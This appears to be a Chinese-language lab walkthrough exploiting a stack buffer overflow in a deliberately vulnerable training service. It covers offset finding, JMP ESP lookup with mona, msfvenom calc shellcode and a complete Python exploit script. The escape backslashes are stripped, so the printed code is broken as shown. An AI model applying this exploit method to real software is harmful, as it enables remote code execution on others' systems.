看一个经典的缓冲区溢出漏洞

OK,先拖进IDA看下基本结构

直接看入口函数,大概结构如下

节约时间,我们直接看程序的正常运行流程,入口处直接F5,查看伪代码

如上图所示,看这段伪代码

memset(&pHints.ai_addrlen, 0, 16);//设置字节为0pHints.ai_family = 2;//使用本地的ipv4做为服务地址pHints.ai_socktype = 1;pHints.ai_protocol = 6;//使用TCP套字节流pHints.ai_flags = 1;*(_DWORD *)v11 = getaddrinfo(0, pServiceName, &pHints, &ppResult);//使用getaddrinfo来获取并存储主机目前的网络地址和服务信息

OK,那么跟下去,看下pServiceName

继续往下看,有了端口,那么就该找一下在建立连接后接受发送相关的代码或者函数了,那么如下图所示,这段代码整体来讲就是用来接收和处理套接字数据,但是根据接收的内容然后去执行相对应的操作,但是这并非重点,重点在于红框内的内容,即定义的缓冲区大小为58623

目前来看,已经把基本情况梳理清楚了,正常情况下程序运行后会开启31337端口,并使用本地的ipv4地址作为服务端ip开始运行,然后使其他主机与其建立TCP连接并发送并接收数据。

那么我们开始动手尝试,windows系统运行该程序,以防万一,使用nmap看下这个端口是否已经正常开启

好在先看了伪代码,不然我都不知道哪个是它的端口,电脑开放的端口实在太多了

如图所示,这个服务会一直在Hello Hello Hello,尝试用NC看看怎么个事儿

OK，还对上话了

那么现阶段就该尝试看能不能让它溢出了,我他吗直接给他一万个AAAA

镜头跟随来到服务端,看下这个逼死没死

程序成功崩溃,但是不确定是不是溢出导致的,所以图方便我们可以使用OD看下它是怎么个事儿(但是我虚拟机网络有点问题,我同时使用了好几台虚拟机配合着来的,现在换一个有OD的环境)

启动OD,加载程序,步进到程序运行的地方,我们在kali中开始nc并发送一堆A,然后程序抛出异常,且EBP和EIP已经全部变成了41414141,那么很显然这个时候通过缓冲区溢出EBP和EIP已经成功被我们使用AAAA给覆盖了,哦对, "41414141" 是十六进制表示的 ASCII 字符串 "AAAA"。也就是说我们可以通过缓冲区溢出来覆盖栈上的数据;

通俗来讲就是在缓冲区溢出攻击中，当输入的数据超出了缓冲区的容量并覆盖了其他变量或数据时，如果覆盖的内容正好是指针或地址，那么这个指针或地址将被误解为下一条将要执行的指令地址。因此，当输入的内容为 "AAAAAAAA" 或 "41414141" 时，它们可以被错误地解释为存储在 EIP（Extended Instruction Pointer）中的地址值，导致执行流程被劫持到这个地址处执行，可能触发崩溃或执行意外的代码。

事儿就是这么个事儿,情况就是这么个情况;溢出是成功溢出了,但是我那一大段A都是Ctrl+C Ctrl+V扔进去的,并不记得一共有多少,所以等下只能让kali来帮我找偏移量了。

那么我接下来需要再次更换个环境(每个环境上的工具不一样,没得办法)使用Immunity Debugger配合Mona来分析然后构造shellcode

运行程序,并在Immunity Debugger中Attace它

使用!mona modlues看下这程序存不存在保护机制

等下,环境出问题了,我重新安装个Python2

(骗你的我直接换个环境)

如上图所示,主程序实际上只开启了SafeSeh,先不用管,先计算一下偏移量

使用

Kali msf-pattern_create -l 20000 

生成20000个规律字符,然后发送给服务端的指定端口,你可以使用nc发送也可以使用socket连接并发送数据

OK,我们生成的20000个字符已经发送完毕,程序也已经抛出异常,然后我们开始计算偏移量

输入命令

msf-pattern_offset -l 20000 -q 39654138

回车

原理就是先生成20000个字符用于发送至服务端,然后根据溢出时EIP被覆盖的数据用来计算一共被覆盖了多少位;显示结果为146，说明覆盖EIP地址的是第146个字符后面的字符，接下来就可以控制EIP的地址，需要让他跳转到我们的shellcode。(早知道146个字符它就顶不住了,我又何必使用20000个字符去折磨它呢？对不起我不知道你这么脆弱)

那么在此之前,我想用字符去确认一下偏移量是否准确,我们使用146个A,然后再使用4个B,看下EIP被覆盖的情况。

程序异常,EIP被覆盖为了42424242,也就是对应BBBB(至于为什么我前面已经说过了)

那么由此可见,偏移量计算准确,开始尝试做构造shellcode前的一个环节之一,也就是查找坏字符,虽然我们输入的内容会被转换为16进制的值,但是也并非它能接受任何值,比如说通用的坏字符例如“x00”

然后我们寻找JMP ESP,查看可以让我们插入shellcode的地方

直接!mona jmp -r esp就可以,结果如下

0x080414c3 : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:UsersAdministratorDesktopdostackbufferoverflowgood.exe)0x080416bf : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:UsersAdministratorDesktopdostackbufferoverflowgood.exe)

那么至于可不可用,就需要构造shellcode来试试其可用性了

使用

msfvenom -p windows/exec CMD="C:windowssystem32calc.exe" -b 'x00x0d' -f python -v code

那么分析完毕后我们使用win7 x86环境,使用kali生成x86的shellcode

生成弹窗计算器并且排除掉坏字符

那么生成shellcode后,我们就需要构造payload了

Payload=字符填充+JMP ESP+nop+shellcode

字符填充也就是偏移量的146个A；JMP ESP就是我们!mona jmp -r esp后显示的两个可以JMP ESP的地址,但是栈是先进后出的顺序,所以0x080414c3就需要反着来,就要写成c314�4�8也就是xc3x14x04x08;0x080416bf就需要写成bf16�4�8也就是xbfx16x04x08

那么python如下

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('172.30.193.125',31337))

tc="A"*146eip="xc3x14x04x08"nop="x90"*16

code =  b""code += b"xdbxd4xd9x74x24xf4xb8xabxd9x08xbcx5b"code += b"x29xc9xb1x36x31x43x18x83xebxfcx03x43"code += b"xbfx3bxfdx40x57x39xfexb8xa7x5ex76x5d"code += b"x96x5execx15x88x6ex66x7bx24x04x2ax68"code += b"xbfx68xe3x9fx08xc6xd5xaex89x7bx25xb0"code += b"x09x86x7ax12x30x49x8fx53x75xb4x62x01"code += b"x2exb2xd1xb6x5bx8exe9x3dx17x1ex6axa1"code += b"xefx21x5bx74x64x78x7bx76xa9xf0x32x60"code += b"xaex3dx8cx1bx04xc9x0fxcax55x32xa3x33"code += b"x5axc1xbdx74x5cx3axc8x8cx9fxc7xcbx4a"code += b"xe2x13x59x49x44xd7xf9xb5x75x34x9fx3e"code += b"x79xf1xebx19x9dx04x3fx12x99x8dxbexf5"code += b"x28xd5xe4xd1x71x8dx85x40xdfx60xb9x93"code += b"x80xddx1fxdfx2cx09x12x82x3axccxa0xb8"code += b"x08xcexbaxc2x3cxa7x8bx49xd3xb0x13x98"code += b"x90x4fx5ex81xb0xc7x07x53x81x85xb7x89"code += b"xc5xb3x3bx38xb5x47x23x49xb0x0cxe3xa1"code += b"xc8x1dx86xc5x7fx1dx83x85x45xbdx5bx63"code += b"xd7x59xcbx04x54xfex60x92xe9x8axe3x09"code += b"x3ex41xb0xb2x21xc9x2bx1bxc4x69xc9x63"



s.send(tc+eip+nop+code+'rn')s.recv(1024)

Kali运行

python2 payload.py

然后运行后服务端成功执行shellcode,弹出计算器